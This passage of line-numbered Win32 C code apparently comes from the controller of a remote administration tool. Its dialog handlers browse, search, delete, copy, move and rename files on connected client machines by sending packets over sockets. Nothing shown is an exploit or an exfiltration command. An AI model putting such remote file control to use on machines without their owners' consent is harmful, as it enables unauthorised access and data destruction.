  1676.                         Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  1677.                         SentKb+=send(Client[ID],(char *)&Head,sizeof(PACKETHEAD),0);
  1678.                 //      MessageBox(NULL, Head.Data, "A 1.5", MB_OK);
  1679.                         return 0;
  1680.                          //MessageBox(NULL, A, "A", MB_OK);
  1681.                         }
  1682.  
  1683.                     strcpy(B, C);
  1684.                     strcpy(C, A);
  1685.                     strcat(C, "\\");
  1686.                     strcat(C, B);
  1687.                     }
  1688.                    
  1689.                     BA = 1;
  1690.         break;
  1691.  
  1692.     case 1:
  1693.                 hitemA = TreeView_GetParent(GetDlgItem(hwnd, IDC_TREE1), hitemB);
  1694.      
  1695.                 TreeView_EnsureVisible(hwnd,hitemA);
  1696.                 SendDlgItemMessage(hwnd,IDC_TREE1,TVM_SELECTITEM,TVGN_CARET,(LPARAM)hitemA);
  1697.                 flagSelected=true;
  1698.                 tvi.mask=TVIF_TEXT;
  1699.                 tvi.pszText=A;
  1700.                 tvi.cchTextMax=256;
  1701.                 tvi.hItem=hitemA;
  1702.  
  1703.                     if(SendDlgItemMessage(hwnd,IDC_TREE1,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  1704.                     {
  1705.                 //      MessageBox(NULL, A, "A", MB_OK);
  1706.                         if(A[1] == ':')
  1707.                         {
  1708.                         strcpy(B, C);
  1709.                         strcpy(C, A);
  1710.                         strcat(C, B);
  1711.                         strcat(C, "\\");
  1712.  
  1713.                         SendMessage(GetDlgItem(hwnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)C);
  1714.             //          MessageBox(NULL, A, "A", MB_OK);
  1715.                         strcpy(Head.Data, C);
  1716.                 //      MessageBox(NULL, Head.Data, "A FINISH 2", MB_OK);
  1717.                         Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  1718.                         SentKb+=send(Client[ID],(char *)&Head,sizeof(PACKETHEAD),0);
  1719.                 //      MessageBox(NULL, Head.Data, "A 2.5", MB_OK);
  1720.                         return 0;
  1721.                          //MessageBox(NULL, A, "A", MB_OK);
  1722.                         }              
  1723.                     strcpy(B, C);
  1724.                     strcpy(C, A);
  1725.                     strcat(C, "\\");
  1726.                     strcat(C, B);
  1727.                                        
  1728.                     }
  1729.                    
  1730.                     BA = 0;
  1731.         break;
  1732.     }
  1733.    
  1734. }
  1735.  
  1736. return 0;
  1737. }
  1738. int DeleteChild(HWND hwnd, int Control, HTREEITEM hitem)
  1739. {
  1740. HTREEITEM Second;
  1741.  
  1742. while(Second = TreeView_GetChild(GetDlgItem(hwnd, Control),hitem))
  1743. {
  1744. TreeView_DeleteItem(GetDlgItem(hwnd, Control),Second);
  1745. }
  1746.  
  1747. return 0;
  1748. }
  1749. int SetFileWindow(HWND hWnd)
  1750. {
  1751.     RECT rc;    // client area  
  1752.              GetClientRect(hWnd, &rc);
  1753.              MoveWindow(GetDlgItem(hWnd, IDC_FILELIST),(rc.right / 3) + 5,25,(rc.right - (rc.right / 3)) - 10, rc.bottom - 60, TRUE);
  1754.              MoveWindow(GetDlgItem(hWnd, IDC_DOWNLOADS),0,25,rc.right - 5, rc.bottom - 60, TRUE);
  1755.              MoveWindow(GetDlgItem(hWnd, IDC_SEARCHLIST),0,70,rc.right - 5, rc.bottom - 100, TRUE);
  1756.              MoveWindow(GetDlgItem(hWnd, IDC_STATICA),5,40,25, 20, TRUE);
  1757.              MoveWindow(GetDlgItem(hWnd, IDC_DIR),30,35,rc.right / 3, 20, TRUE);
  1758.              MoveWindow(GetDlgItem(hWnd, IDC_STATICB),(rc.right / 3) + 45,40,50, 20, TRUE);
  1759.              MoveWindow(GetDlgItem(hWnd, IDC_FILENAME),(rc.right / 3) + 100,35,(rc.right / 3), 20, TRUE);  
  1760.              MoveWindow(GetDlgItem(hWnd, IDC_SEARCH),rc.right - 70,35,60, 20, TRUE);
  1761.              
  1762.              MoveWindow(GetDlgItem(hWnd, IDC_TREE1),0,25,rc.right / 3, rc.bottom - 60, TRUE);
  1763.              MoveWindow(GetDlgItem(hWnd, IDC_TAB4),0,0,rc.right, rc.bottom - 20, TRUE);
  1764.              MoveWindow(GetDlgItem(hWnd, IDC_TASK_STATUS),0,rc.bottom - 20,rc.right, 20, TRUE);
  1765. return 0;
  1766. }
  1767. LRESULT CALLBACK FileProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
  1768. {
  1769.  
  1770.         char userra[7]="Users\\";
  1771.     char namree [80];
  1772.     char namreee[91]="Users\\";
  1773.     char namreeee[191];
  1774.     char namreeeee[291];
  1775.     char Text[256];
  1776.     char WindowOutY [10] = "";
  1777.     char WindowOut  [10] = "";
  1778.     char filename[80];
  1779. //  char FileN [256];
  1780.     HWND Status = 0;
  1781.     char Buffer [512] = "";
  1782. //     MSG msg;
  1783.  
  1784. //    NMITEMACTIVATE LPNMITEM;
  1785.     LV_COLUMN   col;
  1786.     LV_ITEM     item;
  1787.    
  1788.     HMENU hmenu;            // menu template          
  1789.     HMENU hmenuTrackPopup;  // shortcut menu  
  1790.  
  1791.     RECT rc;    // client area            
  1792.     POINT  pt;   // location of mouse click  
  1793.  
  1794. //  HICON hIcon;
  1795.  
  1796. //  TCITEM tie;
  1797.  
  1798.     int i = 0;
  1799.     int j = 0;
  1800.     int K = 1;
  1801.     int Select = 0;
  1802.         TCITEM tie;
  1803.     switch(message)
  1804.     {
  1805. ////////////////////////////////////////////////////////////////////////////////
  1806.     case WM_INITDIALOG:
  1807.        
  1808.         InitCommonControls();       // make our tree control to work
  1809.         ////////////////////////////////////////////////////////////////////////////////////////////////////////
  1810.          //Drive view
  1811.        
  1812.             ImageList_SetBkColor(hImageList,CLR_NONE);
  1813.             //hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FOLDER), IMAGE_ICON, 16, 16, 0);                  // load the picture from the resource
  1814.             //ImageList_AddIcon(hImageList, hIcon);
  1815.      
  1816.  
  1817.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  1818.     tie.pszText = "File's";
  1819.    
  1820.     TabCtrl_InsertItem(GetDlgItem(hWnd, IDC_TAB4), 0, &tie);
  1821.  
  1822.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  1823.     tie.pszText = "Transfer's";
  1824.    
  1825.     TabCtrl_InsertItem(GetDlgItem(hWnd, IDC_TAB4), 1, &tie);
  1826.  
  1827.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  1828.     tie.pszText = "Search";
  1829.    
  1830.     TabCtrl_InsertItem(GetDlgItem(hWnd, IDC_TAB4), 2, &tie);
  1831.        
  1832.     ShowWindow(GetDlgItem(hWnd, IDC_DOWNLOADS),SW_HIDE);
  1833.     ShowWindow(GetDlgItem(hWnd, IDC_SEARCHLIST),SW_HIDE);
  1834.     ShowWindow(GetDlgItem(hWnd, IDC_DIR),SW_HIDE);
  1835.     ShowWindow(GetDlgItem(hWnd, IDC_FILENAME),SW_HIDE);
  1836.     ShowWindow(GetDlgItem(hWnd, IDC_SEARCH),SW_HIDE);
  1837.     ShowWindow(GetDlgItem(hWnd, IDC_STATICA),SW_HIDE);
  1838.     ShowWindow(GetDlgItem(hWnd, IDC_STATICB),SW_HIDE);
  1839.    
  1840.         col.mask=LVCF_TEXT|LVCF_WIDTH|LVIF_IMAGE;
  1841.         col.cx=600;
  1842.         col.fmt = LVCFMT_IMAGE;
  1843.         ListView_SetExtendedListViewStyle(GetDlgItem(hWnd,IDC_SEARCHLIST),LVS_EX_FULLROWSELECT);
  1844.         col.pszText="File name";
  1845.         ListView_InsertColumn(GetDlgItem(hWnd,IDC_SEARCHLIST),0,&col);
  1846.    
  1847.         SetFileWindow(hWnd);
  1848.  
  1849.         col.mask=LVCF_TEXT|LVCF_WIDTH|LVIF_IMAGE;
  1850.         col.cx=200;
  1851.         col.fmt = LVCFMT_IMAGE;
  1852.         ListView_SetExtendedListViewStyle(GetDlgItem(hWnd,IDC_FILELIST),LVS_EX_FULLROWSELECT);
  1853.         col.pszText="File name";
  1854.         ListView_InsertColumn(GetDlgItem(hWnd,IDC_FILELIST),0,&col);
  1855.         col.cx=152;
  1856.         col.fmt = LVCFMT_IMAGE;
  1857.         col.pszText="File Size";
  1858.         ListView_InsertColumn(GetDlgItem(hWnd,IDC_FILELIST),1,&col);
  1859.         col.cx=152;
  1860. ///////////////////////////////////////////////////////////////////////////////////
  1861.         ListView_SetExtendedListViewStyle(GetDlgItem(hWnd,IDC_DOWNLOADS),LVS_EX_FULLROWSELECT);
  1862.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  1863.         col.cx=300;
  1864.         col.pszText="File";
  1865.         ListView_InsertColumn(GetDlgItem(hWnd,IDC_DOWNLOADS), 0,&col);
  1866.        
  1867.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  1868.         col.cx=200;
  1869.         col.pszText="Upload/Download";
  1870.         ListView_InsertColumn(GetDlgItem(hWnd,IDC_DOWNLOADS), 1,&col);
  1871.  
  1872.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  1873.         col.cx=200;
  1874.         col.pszText="Status";
  1875.         ListView_InsertColumn(GetDlgItem(hWnd,IDC_DOWNLOADS), 2,&col);
  1876.  
  1877.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  1878.         col.cx=0;
  1879.         col.pszText="ID";
  1880.         ListView_InsertColumn(GetDlgItem(hWnd,IDC_DOWNLOADS), 3,&col);
  1881. ////////////////////////////////////////////////////////////////////////////////////////////////////////
  1882.         //Satus Bar
  1883.          CreateWindowEx(0, STATUSCLASSNAME, NULL,WS_CHILD | WS_VISIBLE | SBARS_SIZEGRIP, 0, 0, 0, 0,hWnd, (HMENU)IDC_TASK_STATUS , GetModuleHandle(NULL), NULL);
  1884.          SendMessage(GetDlgItem(hWnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)"");         
  1885.  
  1886.             tvinsert.item.iSelectedImage = 5;
  1887.             SendDlgItemMessage(hWnd,IDC_TREE1,TVM_SETIMAGELIST,0,(LPARAM)hImageList); // put it onto the tree control
  1888.             ListView_SetImageList(GetDlgItem(hWnd, IDC_FOLDERS),hImageList, LVSIL_SMALL);
  1889.             ListView_SetImageList(GetDlgItem(hWnd, IDC_FILELIST),hImageList, LVSIL_SMALL);
  1890.             ListView_SetImageList(GetDlgItem(hWnd, IDC_DOWNLOADS),cImageList, LVSIL_SMALL);
  1891.  
  1892.  
  1893.             tvinsert.hParent=NULL;          // top most level no need handle
  1894.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  1895.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE;
  1896.             tvinsert.item.pszText="BookMarks";
  1897.             tvinsert.item.iImage=6;
  1898.             Parent=(HTREEITEM)SendDlgItemMessage(hWnd,IDC_BOOKMARKS,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  1899.             Root=Parent;
  1900.             break;
  1901.    
  1902.         case WM_LBUTTONDOWN:
  1903.         {
  1904.             ReleaseCapture();
  1905.             SendMessage(hWnd,WM_NCLBUTTONDOWN,HTCAPTION,0);
  1906.         }
  1907.         break;
  1908.     case WM_SIZING:
  1909.             switch(wParam)
  1910.             {
  1911.             case WMSZ_BOTTOM:
  1912.             SetFileWindow(hWnd);
  1913.             break;
  1914.             case WMSZ_BOTTOMLEFT:
  1915.             SetFileWindow(hWnd);
  1916.             break;
  1917.             case WMSZ_BOTTOMRIGHT:
  1918.             SetFileWindow(hWnd);
  1919.             break;
  1920.             case WMSZ_LEFT:
  1921.             SetFileWindow(hWnd);
  1922.             break;
  1923.             case WMSZ_RIGHT:
  1924.             SetFileWindow(hWnd);
  1925.             break;
  1926.             case WMSZ_TOP:
  1927.             SetFileWindow(hWnd);
  1928.             break;
  1929.             case WMSZ_TOPLEFT:
  1930.             SetFileWindow(hWnd);
  1931.             break;
  1932.             case WMSZ_TOPRIGHT:
  1933.             SetFileWindow(hWnd);
  1934.             break;
  1935.             }
  1936.             break;
  1937.         case WM_NOTIFY:
  1938.             switch (((LPNMHDR)lParam)->code)
  1939.             {
  1940.             case TCN_SELCHANGE:
  1941.                 {
  1942.                     int iPage = TabCtrl_GetCurSel(GetDlgItem(hWnd, IDC_TAB4));
  1943.                    
  1944.                 switch(iPage)
  1945.                 {
  1946.                 case 0:
  1947.              GetClientRect(hWnd, &rc);
  1948.  
  1949.              ShowWindow(GetDlgItem(hWnd, IDC_DOWNLOADS ),SW_HIDE);
  1950.              ShowWindow(GetDlgItem(hWnd, IDC_FILELIST ),SW_SHOW);
  1951.              ShowWindow(GetDlgItem(hWnd, IDC_TREE1 ),SW_SHOW);
  1952.  
  1953.             ShowWindow(GetDlgItem(hWnd, IDC_SEARCHLIST),SW_HIDE);
  1954.             ShowWindow(GetDlgItem(hWnd, IDC_DIR),SW_HIDE);
  1955.             ShowWindow(GetDlgItem(hWnd, IDC_FILENAME),SW_HIDE);
  1956.             ShowWindow(GetDlgItem(hWnd, IDC_SEARCH),SW_HIDE);
  1957.             ShowWindow(GetDlgItem(hWnd, IDC_STATICA),SW_HIDE);
  1958.             ShowWindow(GetDlgItem(hWnd, IDC_STATICB),SW_HIDE);
  1959.  
  1960.         SetFileWindow(hWnd);
  1961.    
  1962.                 break;
  1963.  
  1964.                 case 1:
  1965.             GetClientRect(hWnd, &rc);
  1966.  
  1967.                 ShowWindow(GetDlgItem(hWnd, IDC_DOWNLOADS ),SW_SHOW);
  1968.                 ShowWindow(GetDlgItem(hWnd, IDC_FILELIST ),SW_HIDE);
  1969.                 ShowWindow(GetDlgItem(hWnd, IDC_TREE1 ),SW_HIDE);
  1970.        
  1971.                 ShowWindow(GetDlgItem(hWnd, IDC_SEARCHLIST),SW_HIDE);
  1972.                 ShowWindow(GetDlgItem(hWnd, IDC_DIR),SW_HIDE);
  1973.                 ShowWindow(GetDlgItem(hWnd, IDC_FILENAME),SW_HIDE);
  1974.                 ShowWindow(GetDlgItem(hWnd, IDC_SEARCH),SW_HIDE);
  1975.                 ShowWindow(GetDlgItem(hWnd, IDC_STATICA),SW_HIDE);
  1976.                 ShowWindow(GetDlgItem(hWnd, IDC_STATICB),SW_HIDE);
  1977.  
  1978.                 SetFileWindow(hWnd);
  1979.                 break;
  1980.                
  1981.                 case 2:
  1982.  
  1983.                 ShowWindow(GetDlgItem(hWnd, IDC_DOWNLOADS ),SW_HIDE);
  1984.                 ShowWindow(GetDlgItem(hWnd, IDC_FILELIST ),SW_HIDE);
  1985.                 ShowWindow(GetDlgItem(hWnd, IDC_TREE1 ),SW_HIDE);
  1986.                
  1987.                 ShowWindow(GetDlgItem(hWnd, IDC_SEARCHLIST),SW_SHOW);
  1988.                 ShowWindow(GetDlgItem(hWnd, IDC_DIR),SW_SHOW);
  1989.                 ShowWindow(GetDlgItem(hWnd, IDC_FILENAME),SW_SHOW);
  1990.                 ShowWindow(GetDlgItem(hWnd, IDC_SEARCH),SW_SHOW);
  1991.                 ShowWindow(GetDlgItem(hWnd, IDC_STATICA),SW_SHOW);
  1992.                 ShowWindow(GetDlgItem(hWnd, IDC_STATICB),SW_SHOW);
  1993.                 SetFileWindow(hWnd);
  1994.                 GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  1995.                 FinalDir[strlen(FinalDir) -1] = '\0';
  1996.                 SetWindowText(GetDlgItem(hWnd, IDC_DIR), FinalDir);
  1997.                 SetWindowText(GetDlgItem(hWnd, IDC_FILENAME), "*.jpeg");
  1998.                
  1999.  
  2000.                 break;
  2001.                 }
  2002.                    
  2003.                 }
  2004.                 break;
  2005.             }
  2006. switch(wParam)
  2007. {
  2008.  
  2009.        
  2010.         case IDC_FILELIST:
  2011.         {
  2012.             GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2013.  
  2014.             if(((LPNMHDR)lParam)->code == NM_DBLCLK) // if code == NM_CLICK - Single click on an item
  2015.             {
  2016.                 break;
  2017.             }
  2018.  
  2019.             if(((LPNMHDR)lParam)->code == NM_RCLICK)  // Right Click
  2020.             {
  2021.                 GetClientRect(hWnd, (LPRECT) &rc);
  2022.  
  2023.             // Get the client coordinates for the mouse click.  
  2024.               GetCursorPos(&pt);
  2025.               pt.y += 10;
  2026.               pt.x += 10;
  2027.             // If the mouse click took place inside the client
  2028.             // area, execute the application-defined function
  2029.             // that displays the shortcut menu.
  2030.  
  2031.        
  2032.                  hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_MENU3));
  2033.  
  2034.                  if (hmenu == NULL)
  2035.                  {
  2036.                   break;
  2037.                  }
  2038.  
  2039.             // Get the first shortcut menu in the menu template. This is the
  2040.             // menu that TrackPopupMenu displays.
  2041.  
  2042.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  2043.  
  2044.               // TrackPopup uses screen coordinates, so convert the
  2045.              // coordinates of the mouse click to screen coordinates.
  2046.  
  2047.              //ClientToScreen(hWnd, (LPPOINT) &pt);
  2048.  
  2049.             // Draw and track the shortcut menu.  
  2050.  
  2051.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, hWnd, NULL);
  2052.             break;
  2053.             }
  2054.            
  2055.         }
  2056.         break;
  2057.           case IDC_TREE1:
  2058.            
  2059.             if(((LPNMHDR)lParam)->code == NM_DBLCLK) // if code == NM_CLICK - Single click on an item
  2060.             {
  2061.                 char Text[255]="";
  2062.                 memset(&tvi,0,sizeof(tvi));
  2063.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2064.                     Head.ID = atoi(WindowOut);
  2065.                     //MessageBox(NULL, Text, Text, MB_OK);
  2066.                 Selected[Head.ID] = NULL;
  2067.                 Selected[Head.ID]=(HTREEITEM)SendDlgItemMessage(hWnd,IDC_TREE1,TVM_GETNEXTITEM,TVGN_CARET,(LPARAM)Selected[Head.ID]);
  2068.                
  2069.                 if(Selected[Head.ID]==NULL)
  2070.                 {
  2071.                     MessageBox(NULL,"No Items in TreeView","Error",MB_OK|MB_ICONINFORMATION);
  2072.                     break;
  2073.                 }
  2074.  
  2075.                 ResetProcs(hWnd, IDC_FILELIST);
  2076.                 TreeView_EnsureVisible(hWnd,Selected[Head.ID]);
  2077.                 SendDlgItemMessage(hWnd,IDC_TREE1,TVM_SELECTITEM,TVGN_CARET,(LPARAM)Selected[Head.ID]);
  2078.                 flagSelected=true;
  2079.                 tvi.mask=TVIF_TEXT;
  2080.                 tvi.pszText=Text;
  2081.                 tvi.cchTextMax=256;
  2082.                 tvi.hItem=Selected[Head.ID];
  2083.  
  2084.                     if(SendDlgItemMessage(hWnd,IDC_TREE1,TVM_GETITEM,TVGN_CARET,(LPARAM)&tvi))
  2085.                     {
  2086.                     //  MessageBox(NULL, Text, Text, MB_OK);
  2087.                         GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2088.  
  2089.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2090.                     Head.ID = atoi(WindowOut);
  2091.                     DeleteChild(hWnd, IDC_TREE1, Selected[Head.ID]);
  2092.                     GetParentFileDir(hWnd, Selected[Head.ID], Text, Head.ID);
  2093.                     ResetProcs(hWnd, IDC_FILELIST);
  2094.                    
  2095.                       break;
  2096.                     }
  2097.                
  2098.             }
  2099.             break;
  2100.         case IDC_DOWNLOADS:
  2101.             {
  2102.                 GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2103.                 if(((LPNMHDR)lParam)->code == NM_RCLICK)  // Right Click
  2104.                 {
  2105.                     GetClientRect(hWnd, (LPRECT) &rc);
  2106.  
  2107.                
  2108.                     GetCursorPos(&pt);
  2109.                     pt.y += 10;
  2110.                     pt.x += 10;
  2111.             // If the mouse click took place inside the client
  2112.             // area, execute the application-defined function
  2113.             // that displays the shortcut menu.
  2114.  
  2115.        
  2116.                  hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_DOWNLOAD));
  2117.  
  2118.                  if (hmenu == NULL)
  2119.                  {
  2120.                   break;
  2121.                  }
  2122.  
  2123.             // menu that TrackPopupMenu displays.
  2124.  
  2125.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  2126.  
  2127.                    
  2128.  
  2129.             // Draw and track the shortcut menu.  
  2130.  
  2131.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, hWnd, NULL);
  2132.            
  2133.                 }
  2134.             }
  2135.             break;
  2136.  
  2137.  
  2138.      
  2139.    
  2140.         }
  2141.         break;
  2142.    
  2143.     case WM_COMMAND:
  2144.         Select=LOWORD(wParam);
  2145.         switch(Select)
  2146.         {
  2147.         case IDC_SEARCH:
  2148.             GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2149.             Head.ID = atoi(WindowOut);
  2150.            
  2151.             GetWindowText(GetDlgItem(hWnd, IDC_FILENAME), Head.Buf, 100);
  2152.             GetWindowText(GetDlgItem(hWnd, IDC_DIR), Head.Buf2, 50);
  2153.             Head.PacketType = PACKET_FILE_MANAGER_SEARCH;
  2154.             SentKb+=send(Client[Head.ID], (char *)&Head, sizeof(PACKETHEAD), 0);
  2155.             break;
  2156.         case IDC_RESET:
  2157.             {
  2158.             ResetProcs(hWnd, IDC_DOWNLOADS);
  2159.             }
  2160.             break;
  2161.     /*  case IDC_ENTERDIR:
  2162.             {   GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2163.                 strcpy(Text, "A");
  2164.                 GetWindowText(hWnd, WindowOut, 10);
  2165.                 WindowOutY[0] = WindowOut[0];
  2166.                 Head.ID = atoi(WindowOutY);
  2167.                    
  2168.  
  2169.                 item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FOLDERS),-1,LVNI_SELECTED);
  2170.                 item.mask=LVIF_TEXT;
  2171.                 item.iSubItem=0;
  2172.                 item.pszText=Text;
  2173.                 item.cchTextMax=255;
  2174.                 ListView_GetItem(GetDlgItem(hWnd,IDC_FOLDERS),&item);
  2175.                 Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  2176.                 if(!strcmp(Text, "A"))
  2177.                 {
  2178.                 break;
  2179.                 }
  2180.                 strcat(FinalDir, Text);
  2181.                 strcat(FinalDir, "\\");
  2182.                 strcpy(Head.Data, FinalDir);
  2183.  
  2184.  
  2185.                 SendMessage(GetDlgItem(hWnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)FinalDir);
  2186.  
  2187.                 ResetProcs(hWnd, IDC_FOLDERS);
  2188.                 ResetProcs(hWnd, IDC_FILELIST);
  2189.  
  2190.                 SentKb+=send(Client[Head.ID],(char*)&Head, HeadSize, 0);
  2191.                
  2192.             }
  2193.             break;*/
  2194.         case IDC_DELETEFILE:
  2195.             {   GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2196.                 if(MessageBox(NULL, "Are you sure you want Delete this file?", "Delete", MB_YESNO | MB_ICONWARNING) == IDYES)
  2197.                 {
  2198.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2199.                     Head.ID = atoi(WindowOut);
  2200.                
  2201.                 strcpy(Text, "");
  2202.                 item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FILELIST),-1,LVNI_SELECTED);
  2203.                 item.mask=LVIF_TEXT;
  2204.                 item.iSubItem=0;
  2205.                 item.pszText=Text;
  2206.                 item.cchTextMax=255;
  2207.                 ListView_GetItem(GetDlgItem(hWnd,IDC_FILELIST),&item);
  2208.                 strcpy(Head.Data, FinalDir);
  2209.                 //strcat(Head.Data, "\\");
  2210.                 strcat(Head.Data, Text);
  2211.                 ListView_DeleteItem(GetDlgItem(hWnd,IDC_FILELIST),ListView_GetNextItem(GetDlgItem(hWnd,IDC_FILELIST),-1,LVNI_SELECTED));
  2212.                
  2213.                 Head.PacketType = PACKET_FILE_MANAGER_DELETE_FILE;
  2214.                 SentKb+=send(Client[Head.ID],(char*)&Head, HeadSize, 0);
  2215.                
  2216.                 strcpy(Head.Data, "");
  2217.                 sprintf(Head.Data, "Deleted: %s", Text);
  2218.                 GetTime();
  2219.                 SetLogs(Time, "File Delete", Head.Data , "Pass");
  2220. //              ResetProcs(hwnd, IDC_TASKLIST)
  2221.             /*  ResetProcs(hWnd, IDC_FOLDERS);
  2222.                 ResetProcs(hWnd, IDC_FILELIST);
  2223.                 strcpy(Head.Data, FinalDir);
  2224.                 Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  2225.                 send(Client[Head.ID],(char*)&Head, HeadSize, 0);*/
  2226.                 }
  2227.                 else
  2228.                 {
  2229.                 break;
  2230.                 }
  2231.                
  2232.             }
  2233.  
  2234.             break;
  2235.         case IDC_COPY:
  2236.         {       GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2237.                 J = 0;
  2238.                 item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FILELIST),-1,LVNI_SELECTED);
  2239.                 item.mask=LVIF_TEXT;
  2240.                 item.iSubItem=0;
  2241.                 item.pszText=Text;
  2242.                 item.cchTextMax=255;
  2243.                 ListView_GetItem(GetDlgItem(hWnd,IDC_FILELIST),&item);
  2244.                 strcpy(FileName, Text);
  2245.                 strcpy(Copy, FinalDir);
  2246.                 strcat(Copy, Text);
  2247.            
  2248.         }
  2249.             break;
  2250.         case IDC_PASTE:
  2251.         {   GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2252.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2253.                     Head.ID = atoi(WindowOut);
  2254.                
  2255.  
  2256.                 strcpy(Head.Data, FinalDir);
  2257.                 strcat(Head.Data, FileName);
  2258.                 strcpy(Head.Buf, Copy);
  2259.                 if(J == 0)
  2260.                 {
  2261.                 Head.PacketType = PACKET_FILE_MANAGER_FILE_COPY;
  2262.                 }
  2263.                 else
  2264.                 {
  2265.                 Head.PacketType = PACKET_FILE_MANAGER_FILE_CUT;
  2266.                 }
  2267.  
  2268.                 SentKb+=send(Client[Head.ID],(char*)&Head, HeadSize, 0);
  2269.  
  2270.                
  2271.                 ResetProcs(hWnd, IDC_FOLDERS);
  2272.                 ResetProcs(hWnd, IDC_FILELIST);
  2273.                 strcpy(Head.Data, FinalDir);
  2274.                 Head.PacketType = PACKET_FILE_MANAGER_FILE_FOLDER;
  2275.  
  2276.                 SentKb+=send(Client[Head.ID],(char*)&Head, HeadSize, 0);
  2277.                 if(J == 1)
  2278.                 {
  2279.                 strcpy(Copy, "");
  2280.                 strcpy(Head.Buf, "");
  2281.                 }
  2282.                                
  2283.         }
  2284.             break;
  2285.         case IDC_MOVE:
  2286.             {
  2287.                 GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2288.                 J = 1;
  2289.                 item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FILELIST),-1,LVNI_SELECTED);
  2290.                 item.mask=LVIF_TEXT;
  2291.                 item.iSubItem=0;
  2292.                 item.pszText=Text;
  2293.                 item.cchTextMax=255;
  2294.                 ListView_GetItem(GetDlgItem(hWnd,IDC_FILELIST),&item);
  2295.                 strcpy(FileName, Text);
  2296.                 strcpy(Copy, FinalDir);
  2297.                 strcat(Copy, Text);
  2298.            
  2299.            
  2300.             }
  2301.             break;
  2302.         case IDC_RENAME:
  2303.             {GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2304.             V = 1;
  2305.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2306.                     Head.ID = atoi(WindowOut);
  2307.            
  2308.  
  2309.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FILELIST),-1,LVNI_SELECTED);
  2310.             item.mask=LVIF_TEXT;
  2311.             item.iSubItem=0;
  2312.             item.pszText=Text;
  2313.             item.cchTextMax=255;
  2314.             ListView_GetItem(GetDlgItem(hWnd,IDC_FILELIST),&item);
  2315.             strcpy(FileName, Text);
  2316.             strcpy(Copy, FinalDir);
  2317.             strcat(Copy, Text);
  2318.             CreateThread(NULL, 0, NameWindow,(LPVOID)Head.ID, 0, &thread);
  2319.             }
  2320.             break;
  2321.         case IDC_RENAME_FOLDER:
  2322.             {GetWindowText(GetDlgItem(hWnd,IDC_TASK_STATUS), FinalDir, 512);
  2323.             V = 0;
  2324.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2325.                     Head.ID = atoi(WindowOut);
  2326.                
  2327.             item.iItem=ListView_GetNextItem(GetDlgItem(hWnd,IDC_FOLDERS),-1,LVNI_SELECTED);
  2328.             item.mask=LVIF_TEXT;
  2329.             item.iSubItem=0;
  2330.             item.pszText=Text;
  2331.             item.cchTextMax=255;
  2332.             ListView_GetItem(GetDlgItem(hWnd,IDC_FOLDERS),&item);
  2333.             strcpy(FileName, Text);
  2334.             strcpy(Copy, FinalDir);
  2335.             strcat(Copy, Text);
  2336.             CreateThread(NULL, 0, NameWindow,(LPVOID)Head.ID, 0, &thread);
  2337.             }
  2338.             break;
  2339.         case IDC_NEW_FOLDER:
  2340.             {
  2341.                     GetWindowText(GetDlgItem(hWnd, IDC_ID), WindowOut, 10);
  2342.                     Head.ID = atoi(WindowOut);
  2343.            
  2344.             Head.PacketType = PACKET_FILE_MANAGER_NEW_FOLDER;
  2345.             GetWindowText(hWnd, WindowOut, 10);
  2346.             WindowOutY[0] = WindowOut[0];
  2347.             Head.ID = atoi(WindowOutY);
  2348.            
  2349.             strcpy(Head.Data, FinalDir);
